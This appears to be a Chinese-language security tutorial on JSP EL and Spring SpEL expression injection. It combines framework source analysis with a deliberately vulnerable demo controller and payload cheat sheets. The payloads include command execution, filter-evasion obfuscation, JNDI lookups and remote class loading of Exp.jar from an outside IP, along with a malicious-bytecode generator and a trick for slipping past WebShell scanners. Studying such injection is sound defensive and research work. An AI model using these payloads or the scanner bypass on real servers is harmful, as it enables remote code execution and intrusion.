invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:126, BeanELResolver (javax.el)
setValue:155, CompositeELResolver (javax.el)
setValue:201, AstValue (org.apache.el.parser)
getValue:35, AstAssign (org.apache.el.parser)
getValue:189, ValueExpressionImpl (org.apache.el)
proprietaryEvaluate:942, PageContextImpl (org.apache.jasper.runtime)
_jspService:3, index_jsp (org.apache.jsp)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/**
* 设置 EL 属性的值。
*
* <p>遵循 ELResolver 规范的典型实现流程:
* 1) 校验入参;2) base 或 property 为空则表明本解析器不处理,直接返回;
* 3) 标记已解析(setPropertyResolved);4) 若只读则抛出不可写异常;
* 5) 通过属性元数据查找写方法(setter);6) 反射调用 setter;
* 7) 将底层异常包装成 ELException 抛出。</p>
*
* @param context EL 上下文,不能为空
* @param base 目标对象(属性所属的对象)。为 null 表示本解析器不负责该属性
* @param property 属性名或属性标识。为 null 表示本解析器不负责该属性
* @param value 要设置的属性值
* @throws PropertyNotWritableException 当解析器处于只读模式或属性不可写时抛出
* @throws ELException 当调用 setter 过程中发生异常时包装并抛出
*/
@Override
public void setValue(ELContext context, Object base, Object property, Object value) {
// 1) 基本参数校验:ELContext 不能为空
Objects.requireNonNull(context);

// 2) 按 EL 规范:如果 base 或 property 为 null,说明当前解析器不负责处理,直接返回
// 这样链上的其他 ELResolver 仍有机会处理该属性。
if (base == null || property == null) {
return;
}

// 3) 告诉 ELContext:当前解析器已经解析(处理)了该 (base, property),
// 这样后续的解析器就不会再次尝试处理,避免重复或冲突。
context.setPropertyResolved(base, property);

// 4) 只读检查:若解析器配置为只读,则不允许写入,抛出标准异常并携带本地化消息。
if (this.readOnly) {
throw new PropertyNotWritableException(
Util.message(context, "resolverNotWritable", base.getClass().getName()));
}

// 5) 通过属性元数据获取写方法(setter)。此处通常来自于对属性的描述(如 PropertyDescriptor)。
// .write(context, base) 返回可反射调用的 java.lang.reflect.Method。
Method m = this.property(context, base, property).write(context, base);
try {
// 6) 反射调用 setter:等价于 base.setXxx(value)
m.invoke(base, value);

} catch (InvocationTargetException e) {
// 7a) 如果 setter 内部抛出异常,JDK 会把原始异常包在 InvocationTargetException 中。
// 这里先取出真正的根因,并交给 Util 进行“致命错误”处理(如 ThreadDeath / VirtualMachineError)。
Throwable cause = e.getCause();
Util.handleThrowable(cause);

// 然后将其包装为 ELException 抛出,并带上友好的本地化消息(含类型名与属性名)。
throw new ELException(
Util.message(context, "propertyWriteError",
base.getClass().getName(), property.toString()),
cause);

} catch (Exception e) {
// 7b) 其他反射相关异常(如 IllegalAccessException、IllegalArgumentException 等)
// 统一包装为 ELException 抛出,避免向上层泄漏反射细节。
throw new ELException(e);
}
}

利用技巧

信息收集

1
2
3
4
5
6
7
8
9
10
11
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}

//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

方括号执行函数

在 EL 中,[] 本质上也是在获取属性,因此下面两个 EL 表达式是等价的:

1
${''.getClass()} == ${''['getClass']()}

其中对于下面这个 EL 表达式:

1
${ '' ['getClass'] () }

解析器把它拆成一串节点:AstValue(根)下面依次是 AstBracketSuffixAstMethodParameters

  • base''(空字符串,类型是 java.lang.String
  • AstBracketSuffix['getClass'](方括号里的内容先被当成一个表达式求值,结果是字符串 "getClass"
  • AstMethodParameters()(方法参数,这里为空)

AstValue#getValue(ctx) 函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
while (base != null && i < propCount) {
// 取下一个“后缀”节点的值
suffix = this.children[i].getValue(ctx); // ← 这里拿到 "getClass"

// 如果“下一个”的下一个节点是参数列表 AstMethodParameters,说明这是一次“方法调用”
if (i + 1 < propCount && (this.children[i+1] instanceof AstMethodParameters)) {
AstMethodParameters mps = (AstMethodParameters) this.children[i+1];
Object[] paramValues = mps.getParameters(ctx); // 这里是空数组

// 真正调用:通过 ELResolver#invoke 反射执行 base.suffix(paramValues)
base = resolver.invoke(ctx, base, suffix,
getTypesFromValues(paramValues), paramValues);
i += 2; // 跨过方法名后缀和参数两个节点
} else {
// 否则按属性/索引取值...
...
i++;
}
}
return base;
  • 初始 base = ""
  • suffix = "getClass"
  • paramValues = []
  • 调用后 base = "".getClass(),得到 java.lang.Class<java.lang.String>,循环结束返回这个结果。

利用这一特性,我们可以将要获取的属性以及要调用的函数名以字符串的形式表示在 EL 表达式中。

1
2
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval()}
${''['getClass']()['forName']('javax.script.ScriptEngineManager')['newInstance']()['getEngineByName']('js')['eval']()}

然后我们就可以通过字符串拼接、编码等形式进行隐藏或者像下面这样通过参数传递进行动态调用:

1
${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h)

getter/setter 函数调用

在前面属性访问(AstAssign)的分析中我们可以得出结论:EL 表达式中点号属性取值相当于执行对象的 getter 方法;等号属性赋值则等同于执行 setter 方法。

因此我们可以复用 FastJson 的反序列化利用思想,通过一系列的 getter 或 setter 函数的调用完成利用。例如:

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties:任意字节码加载
  • com.sun.rowset.JdbcRowSetImpl#setAutoCommit:JNDI

不过 FastJson 利用中需要对一个对象多次调用 setter 或 getter 方法来设置属性和触发利用。为了在 EL 表达式中同样满足这一条件,我们需要借助 EL 表达式的多语句执行的特性:

1
2
3
4
5
${
pageContext.setAttribute("obj","".getClass().forName("com.sun.rowset.JdbcRowSetImpl").newInstance());
pageContext.getAttribute("obj").dataSourceName="ldap://127.0.0.1:9999/exp";
pageContext.getAttribute("obj").autoCommit=true
}

标签中的EL表达式

EL 表达式不仅可以放到 jsp 的 body 里,也可以插入到各种的标签中:

1
2
<jsp:useBean id="test" type="java.lang.Class"
beanName="${Runtime.getRuntime().exec(param.cmd)}"></jsp:useBean>

类似的还有 <jsp:param value="${...}"/><jsp:include page="${...}"/> 等,凡是该属性在 TLD 中标成 rtexprvalue="true" 的,属性值里写 ${...} 就会被当作 运行期表达式 求值;否则按字面量处理。

在将 JSP 转换成 Java 代码的过程中有如下调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
at org.apache.jasper.compiler.JspUtil.interpreterCall(JspUtil.java:362)
at org.apache.jasper.compiler.ELInterpreterFactory$DefaultELInterpreter.interpreterCall(ELInterpreterFactory.java:103)
at org.apache.jasper.compiler.Generator$GenerateVisitor.attributeValue(Generator.java:970)
at org.apache.jasper.compiler.Generator$GenerateVisitor.visit(Generator.java:1445)
at org.apache.jasper.compiler.Node$UseBean.accept(Node.java:1183)
at org.apache.jasper.compiler.Node$Nodes.visit(Node.java:2381)
at org.apache.jasper.compiler.Node$Visitor.visitBody(Node.java:2437)
at org.apache.jasper.compiler.Node$Visitor.visit(Node.java:2443)
at org.apache.jasper.compiler.Node$Root.accept(Node.java:467)
at org.apache.jasper.compiler.Node$Nodes.visit(Node.java:2381)
at org.apache.jasper.compiler.Generator.generate(Generator.java:3574)
at org.apache.jasper.compiler.Compiler.generateJava(Compiler.java:254)
at org.apache.jasper.compiler.Compiler.compile(Compiler.java:375)
at org.apache.jasper.compiler.Compiler.compile(Compiler.java:351)
at org.apache.jasper.compiler.Compiler.compile(Compiler.java:335)
at org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:597)
at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:398)
at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:383)
at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:331)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:583)

其中 org.apache.jasper.compiler.JspUtil#interpreterCall 函数将属性中的 EL 表达式转换为实际解析 EL 表达式的代码:

1
2
3
4
5
6
7
8
StringBuilder call = new StringBuilder(
"("
+ returnType
+ ") "
+ "org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate"
+ "(" + Generator.quote(expression) + ", " + targetType
+ ".class, " + "(javax.servlet.jsp.PageContext)" + jspCtxt + ", "
+ fnmapvar + ")");

也就是会转换成:

1
2
3
4
5
6
(java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate(
"${Runtime.getRuntime().exec(param.cmd)}",
java.lang.String.class,
(javax.servlet.jsp.PageContext)_jspx_page_context,
null
)

很多轻量级 WebShell 引擎/扫描器只是把 JSP 当模板文本或 XML 解析,不会走 Jasper 的 AST/EL 编译路径;
于是属性中的 ${...} 被当作普通字符串忽略。真实容器中却会执行,造成偏差。我们可利用这一点绕过“只查 body、不查属性”的拦截/审计规则。

结合 JS 引擎

1
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"calc\")")}

SpEL

SpEL(Spring Expression Language) 是 Spring 自带的表达式语言,它的作用类似于 JSP/EL、OGNL、MVEL,能够在运行时动态计算表达式。它不仅能访问对象属性,还能调用方法、执行逻辑运算、正则匹配、构造新对象、调用静态方法等等。

SpEL 在 Spring 3.0 引入,用于 Spring 容器配置(XML/注解)、Spring Security 表达式控制、**@Value 动态取值** 等场景。与 标准 EL(javax.el)/ JSP EL 的相比,SpEL 提供更多能力(T() 访问类型/静态成员、@bean 引用、new 对象、集合选择/投影、函数注册等),可脱离 JSP 使用;标准 EL 偏向视图层规范化。

基本概念

基本语法

SpEL使用 #{...} 作为定界符,大括号内被视为 SpEL 表达式,里面可以使用运算符,变量,调用方法等。使用 T() 运算符会调用类作用域的方法和常量,如 #{T(java.lang.Math)} 返回一个 java.lang.Math 类对象

#{}${} 的区别:

  • #{...}SpEL 表达式。能做运算、方法调用、类型引用 T(...)、访问 Spring 容器里 Bean @beanName、变量 #var 等。
  • ${...}属性占位符(Property Placeholder)。从 application.properties / yaml、系统属性、环境变量PropertySources 里取值,不做计算。

可混用:#{"${prop}".toUpperCase()}(先占位符,再作为字符串参与 SpEL 计算)。

字面量与运算

  • 字符串/数字/布尔/空:'abc', 123, true, null

  • 算术/关系/逻辑:+ - * / %, == != < > <= >=, and or not

    • 也可用关键字等价:eq ne lt gt le ge
  • 正则匹配:'abc' matches 'a.*' (Java 正则)

  • 三目与 Elvis:cond ? a : bname ?: 'anonymous'

  • 安全导航:user?.address?.city(遇 null 则整个链返回 null

方法、属性、构造

  • 调用方法:'abc'.toUpperCase()

  • 访问/设置属性:order.customer.name

    • 可写上下文里也可赋值:name = 'bob'(需要目标可写)
  • 类型引用/静态成员T(java.lang.Math).random()T(java.time.Duration).ofSeconds(5)

    • T(Type) 是 SpEL 的类型运算符,得到 java.lang.Class 对象并可访问静态字段/方法
    • 默认类型定位器导入了 java.lang,因此可写 T(String), T(Math), T(Runtime)(等价于全限定名)

    提示

    这里就已经存在潜在攻击面:Rumtime 类也是包含在 java.lang 包中的,因此如果我们能调用 Runtime.getRuntime.exec(payload) 即可进行命令执行。

    T(Type)new ...、方法调用等在默认的 StandardEvaluationContext 可用
    使用 SimpleEvaluationContext 时,这些危险能力通常被禁用/裁剪。

  • 构造对象:new java.util.Date()new int[]{1,2,3}new int[2][3]

集合与筛选/投影

  • 集合字面量(List):{1,2,3}
  • Map 字面量:{'k':'v', 'x': 1}
  • 选择(过滤)list.?[age > 18](返回所有匹配元素)
  • 投影list.![name](把每个元素映射成其 name
  • 首/尾匹配list.^[predicate](第一个匹配),list.$[predicate](最后一个匹配)

变量

  • 在上下文里放变量:context.setVariable("x", 42) → 表达式里用 #x

  • 内置变量:

    • #root:根对象(不随子表达式变化)
    • #this:当前上下文对象(在选择/投影等子表达式中会变为当前元素)

Spring 生态特有

  • Bean 引用@dataSource@environment.getProperty('spring.user.name')

    • 生效前提:EvaluationContext 里配置了 BeanFactoryResolver 指向 Spring ApplicationContext

      1
      ctx.setBeanResolver(new BeanFactoryResolver(applicationContext));
  • @beanName 解析不是 SpEL 核心语法自带;脱离 Spring 或未配置 BeanResolver 会报错。

漏洞场景

SpEL 表达式主要有下面三种应用场景:

  • 配置与 Bean 元数据层:在 注解(如 @Value@ConditionalOnExpression)或 XML<property value="#{...}"/>)中写表达式,让容器在创建 Bean时把计算后的结果注入到字段/属性里。

    • @Value 注解

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      @Component
      @PropertySource("classpath:extra.properties")
      public class DemoCfg {

      // 读取配置(非 SpEL)。支持默认值:
      @Value("${app.user.name:Anonymous}")
      String user;

      // SpEL:静态方法
      @Value("#{T(java.time.Year).now().value}")
      int year;

      // SpEL:系统属性 + 空值回退
      @Value("#{systemProperties['os.name'] ?: 'Unknown-OS'}")
      String os;

      // 混用:先 ${} 后 #{}
      @Value("#{'Hello, ' + '${app.user.name:Anonymous}'}")
      String greet;
      }
    • XML(老项目常见)

      1
      2
      3
      4
      <bean id="book" class="com.example.Book">
      <property name="title" value="#{'CTF-' + T(java.util.UUID).randomUUID()}"/>
      <property name="author" value="${book.author:Alice}"/>
      </bean>
    • 扩展注解(Spring Boot/Cloud):

      1
      2
      3
      @ConditionalOnExpression("#{environment['feature.x.enabled'] == 'true'}")
      @Configuration
      class FeatureXConfig { /* ... */ }

    该场景下表达式的解析过程为:

    1. Spring 先通过 PropertySourcesPlaceholderConfigurer 或 Boot 的自动配置,把 ${...} 占位符替换为实际字符串。
    2. 随后 Bean Post-Processor(例如 AutowiredAnnotationBeanPostProcessor 等)处理注解属性,遇到 #{...} 时交给 SpEL 引擎求值。
    3. 求值过程会用到容器上下文:BeanFactory(解析 @bean)、TypeLocator(解析 T() 静态类型)、系统属性/环境变量等。
    4. 求值完毕后把结果赋给字段/属性;这个 Bean 必须由容器托管(直接 new 不会注入)。
  • 程序化求值 API:直接用 SpelExpressionParser / Expression / (Standard|Simple)EvaluationContext运行时临时计算表达式(例如简易模板、动态选择/过滤集合),而不是写在注解/XML 里。

    注意

    • JSP ELproprietaryEvaluate):**通常需要 ${...}**(或在 JSF/Facelets 里 #{...})。表达式常写在 JSP 页面里,由容器用 pageContext、request/session/application 作用域去解析。

    • Spring SpELnew SpelExpressionParser().parseExpression(expr).getValue()):默认不需要 ${}/#{},你直接给 T(...).xxx() 这种裸表达式即可;只有当你选择“模板模式”时,才用 #{...} 并传 TemplateParserContext

      • 纯表达式不需要 ${}#{},直接把可执行的 SpEL 串丢进去解析。

        1
        2
        var parser = new SpelExpressionParser();
        Object v = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue();
      • 模板文本 + 表达式混排:使用 #{...},并在解析时必须new TemplateParserContext() 告诉它是“模板”。

        1
        2
        3
        4
        5
        var parser = new SpelExpressionParser();
        Object v = parser.parseExpression(
        "Hello #{ 'wo'.concat('rld') }",
        new TemplateParserContext()
        ).getValue(); // → "Hello world"

    在这个过程中需要用到下面几个关键类:

    • SpelExpressionParser:解析器

    • Expression:已解析的表达式

    • EvaluationContext:求值上下文

      • StandardEvaluationContext功能强(可 T()、方法解析等)

        1
        2
        3
        StandardEvaluationContext ctx = new StandardEvaluationContext();
        ctx.setVariable("x", 3);
        int v = p.parseExpression("#x * 2 + 1").getValue(ctx, Integer.class); // 7
      • SimpleEvaluationContext裁剪能力(只读数据绑定,更安全

        1
        2
        3
        4
        5
        ExpressionParser p = new SpelExpressionParser();
        StandardEvaluationContext ctx = SimpleEvaluationContext.forReadOnlyDataBinding().build();

        String out = p.parseExpression("'Hello ' + #name")
        .getValue(ctx, Map.of("name", "SpEL"), String.class); // Hello SpEL
  • 框架集成处的表达式:Spring 各模块提供的注解参数支持 SpEL:你在注解里写 #id#{...} 等,框架在调用点用上下文变量(方法参数、Authentication 等)求值。

    例如:

    • Spring Security

      1
      @PreAuthorize("@bean.can(#userId)")
    • Spring Cache

      1
      @Cacheable(value="u", key="#id")
    • Spring Scheduling

      1
      @Scheduled(cron = "#{@cronProvider.value}")
    • Spring Data:@Query 中的

      1
      :#{#param}

实际情况下,一般都是基于上面程序化求值 API 的使用场景出现表达式注入漏洞。该场景动态解析表达式的过程为:

  1. 创建解析器

    1
    ExpressionParser parser = new SpelExpressionParser();
  2. 解析表达式

    1
    Expression expression = parser.parseExpression(expr);
  3. 构造上下文 new StandardEvaluationContext()

    1
    2
    StandardEvaluationContext context = new StandardEvaluationContext(rootObj); // root 可为 null
    context.setVariable("x", 42); // 可选:注入变量
    • new StandardEvaluationContext(rootObj)
      • rootObj = 根对象(可选):表达式里不加任何前缀访问的属性/方法,默认就从“根对象”开始找。
      • root 可以是 null:没有默认“起点对象”,但表达式仍可用变量(#var)、静态类型 T(...)、字面量、集合操作等。
    • context.setVariable("x", 42)
      • 向上下文里放一个命名变量,表达式中用 #x 访问。
      • 变量跟“根对象的属性”是两条线:#x 永远指变量,x(无 #)先从根对象找同名属性。
  4. 求值

    1
    Object result = expression.getValue(context); // 或指定目标类型:getValue(context, String.class)

注意

调用 expression.getValue() 无参重载时,SpEL 会使用一个默认求值上下文来执行表达式。默认上下文是一个**未裁剪的 StandardEvaluationContext**:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// 取表达式求值结果(无参重载)
// 关键点:如果调用方没有显式传入 EvaluationContext,就会走默认上下文(StandardEvaluationContext)
public Object getValue() throws EvaluationException {
// compiledAst 是编译后的表达式(如果此前已触发过编译)
CompiledExpression compiledAst = this.compiledAst;
if (compiledAst != null) {
// [... 这里通常是走已编译表达式的快速路径,省略细节 ...]
}

// 创建表达式求值的状态对象:
// getEvaluationContext() -> 如果没有外部提供上下文,则懒加载创建一个默认的 StandardEvaluationContext
// this.configuration 为 SpEL 求值的配置(例如编译模式、自动增长集合等)
ExpressionState expressionState = new ExpressionState(getEvaluationContext(), this.configuration);

// 真正进行 AST(抽象语法树)求值:从根节点 this.ast 开始,结合 expressionState 执行
Object result = this.ast.getValue(expressionState);

// 在求值结束后检查是否需要触发“编译”(基于使用频率/阈值等),以优化后续调用性能
checkCompile(expressionState);

// 返回求值结果
return result;
}

/**
* 返回“默认”的求值上下文(当调用方在 getValue(...) 时没有显式给出时使用)
* 核心:默认就是 StandardEvaluationContext(功能很全、风险也最大)
*/
public EvaluationContext getEvaluationContext() {
if (this.evaluationContext == null) {
// 懒加载:首次调用时才创建
this.evaluationContext = new StandardEvaluationContext();
}
return this.evaluationContext;
}

因此仍然允许

  • T(java.lang.XXX) 静态类型访问(→ 调 Runtime.getRuntime().exec(...)、读系统属性/环境等)
  • 大量内置属性访问器与运算能力

所以即使你没写 new StandardEvaluationContext(),只要把不可信输入直接送进 parseExpression(...).getValue()依然可能被打

我们可以创建一个 Maven 项目来测试 SpEL 表达式注入。其中目录结构如下:

1
2
3
4
5
6
7
8
9
10
src/
main/
java/
com/
example/
speldemo/
SpelDemoApplication.java ← 应用入口
SpELController.java ← 你的控制器(不安全 PoC)
resources/
application.properties

首先是 Spring Boot 的启动入口类 SpelDemoApplication

1
2
3
4
5
6
7
8
9
10
11
package com.example.speldemo;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class SpelDemoApplication {
public static void main(String[] args) {
SpringApplication.run(SpelDemoApplication.class, args);
}
}

然后使用下面这个 SpELController 类测试 SpEL 表达式注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.example.speldemo;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.*;

@RestController
public class SpELController {
@GetMapping("/")
public String spel(@RequestParam(name = "expr") String cmd) {
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(cmd);
Object obj = expression.getValue(); // 默认上下文(危险)
return String.valueOf(obj);
}
}

在 Spring Boot 的外部化配置文件 application.properties 设置监听端口:

1
server.port=8080

pom.xml 中添加依赖和运行插件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!-- 继承 Spring Boot 父 POM:统一管理依赖版本(不用你一个个写 <version>) -->
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<!-- Boot 2.7.x 线,支持 JDK 8 -->
<version>2.7.18</version>
<relativePath/>
</parent>

<dependencies>
<!-- Web/REST 基础依赖:包含 Spring MVC + 内置 Tomcat(嵌入式) -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
</dependencies>

<build>
<plugins>
<!-- Spring Boot 插件:支持 spring-boot:run、本地可执行、repackage 等 -->
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<!-- 版本由 parent 管理,这里不必写 -->
</plugin>
</plugins>
</build>

利用技巧

基础利用

1
2
3
4
5
6
7
// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")

// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()

下面是一些简单变换:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 // 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

// 命令执行带回显
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("whoami").start().getInputStream())).readLine()
new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream(), "GBK").useDelimiter("xxx").next()

结合 JS 引擎

1
2
3
4
5
6
7
8
9
10
11
12
// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)

// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)

// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)

类加载攻击

UrlClassloader

1
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://101.36.122.13:8990/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("101.36.122.13:2333")

ReflectUtils

Spring 框架中 org.springframework.cglib.core.ReflectUtils 提供了一系列反射有关的方法,其中就包括了字节码加载 defineClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void main(String[] args) throws Exception {
byte[] bytes = getEvilClass("calc");
String s = Base64.getEncoder().encodeToString(bytes);
String cmd = "T(org.springframework.cglib.core.ReflectUtils).defineClass('EvilClass',T(org.springframework.util.Base64Utils).decodeFromString('" + s + "'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
System.out.println(cmd);
}

public static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();

CtClass ctClass = pool.makeClass("EvilClass");

CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
ctClass.addConstructor(constructor);
ctClass.getClassFile().setMajorVersion(49);

return ctClass.toBytecode();
}

高版本 JDK(>=9)引入了命名模块机制,java.* 下的非公开变量和方法不能被其他模块直接访问,JDK11 还只会提示 warning,而在 JDK17 中会强制开启,直接报错:

java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not “opens java.lang” to unnamed module @635eaaf1

这是因为 java.lang.ClassLoader#defineClass 不是公开方法,无法被其他模块访问。

当然 Spring 也提供了相应的解决方案,就是不再硬反射 defineClass,而是走 方法句柄 API 的“官方通道”来把字节码变成类:

  • 先拿一张通行证Lookup):
    lookup = MethodHandles.privateLookupIn(contextClass, MethodHandles.lookup())
  • 再用这张通行证把字节码定义成类
    clazz = lookup.defineClass(bytes)

这样做就能在 contextClass 的同包、同类加载器 下定义新类,绕开模块限制,不用 --add-opens

org.springframework.cglib.core.ReflectUtils#defineClass 函数在满足条件的时候会优先调用 java.lang.invoke.MethodHandles$Lookup#defineClass 来加载类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 首选路径:在 JDK 9+ 上,如果类加载器匹配,则用 Lookup#defineClass 定义类
// (避免直接反射 ClassLoader#defineClass 触发模块化的访问限制)
if (contextClass != null // 必须提供上下文类:用于定位包名/类加载器
&& contextClass.getClassLoader() == loader // ★关键:要求与目标 loader 完全相同,才能 privateLookupIn
&& privateLookupInMethod != null // 反射拿到 MethodHandles#privateLookupIn(JDK9 提供)
&& lookupDefineClassMethod != null) { // 反射拿到 MethodHandles.Lookup#defineClass(JDK9 提供)
try {
// 构造一个针对 contextClass 的“私有” Lookup(拥有其宿主类同等的访问权限,含同包私有)
MethodHandles.Lookup lookup = (MethodHandles.Lookup)
privateLookupInMethod.invoke(
null, // 静态方法 MethodHandles.privateLookupIn(...)
contextClass, // 目标/宿主类(决定包与可见性边界)
MethodHandles.lookup() // 作为“调用者”的 lookup(当前类的 lookup)
);

// 用该 Lookup 直接把字节码 b 定义成一个类(等价于在 contextClass 所在包里 define)
// 要求:b 中 class 的内部名与期望一致,且包名与 contextClass 相同
c = (Class) lookupDefineClassMethod.invoke(lookup, b);
}
// [...]
}

这里需要满足如下条件:

  • JDK ≥ 9:运行时必须有 MethodHandles.privateLookupInMethodHandles.Lookup#defineClass(byte[])
    → 代码里用 privateLookupInMethod != null && lookupDefineClassMethod != null 检测。
  • 提供了上下文类contextClass != null
    → 用它来确定“目标包”和“目标类加载器”。
  • 类加载器完全一致contextClass.getClassLoader() == loader(★关键)
    → 只有 loader 一致才能 privateLookupIn(contextClass, …),也才能把新类定义到与 contextClass 同一个运行时包/模块里。

当满足这些条件的时候首先调用 MethodHandles.privateLookupIn 函数创建一个绑定到 contextClass 的 Lookup 对象。这个 Lookup 代表“以 contextClass 所在运行时包类加载器的权限视角”去做后续操作(比如 lookup.defineClass(bytes))。

1
2
MethodHandles.Lookup lookup = (MethodHandles.Lookup)
privateLookupInMethod.invoke(null, contextClass, MethodHandles.lookup());

等价于(非反射写法):

1
2
MethodHandles.Lookup lookup =
MethodHandles.privateLookupIn(contextClass, MethodHandles.lookup());

之后调用 lookup.defineClass contextClass 的地盘里把字节码变成类,也就是把 b(合法的 class 文件字节)定义成一个 Class落在与 contextClass 完全一致的包/类加载器/保护域

1
Class<?> c = (Class) lookupDefineClassMethod.invoke(lookup, b);

等价于(非反射写法):

1
Class<?> c = lookup.defineClass(b);

注意

不会立刻执行 <clinit>(静态代码块);初始化按 JLS 规则稍后触发。

因此我们可以通过调用 org.springframework.cglib.core.ReflectUtils#defineClass 加载恶意类,并且满足:

  • contextClass 与目标新类在同一个“运行时包”:包名要完全一致(例如都在 org.springframework.expression子包不算同包org.springframework.expression.spel.* 就不行)。
  • contextClass 与目标新类由同一个类加载器加载contextClass.getClassLoader() 必须等于你传给 ReflectUtils#defineClassloader

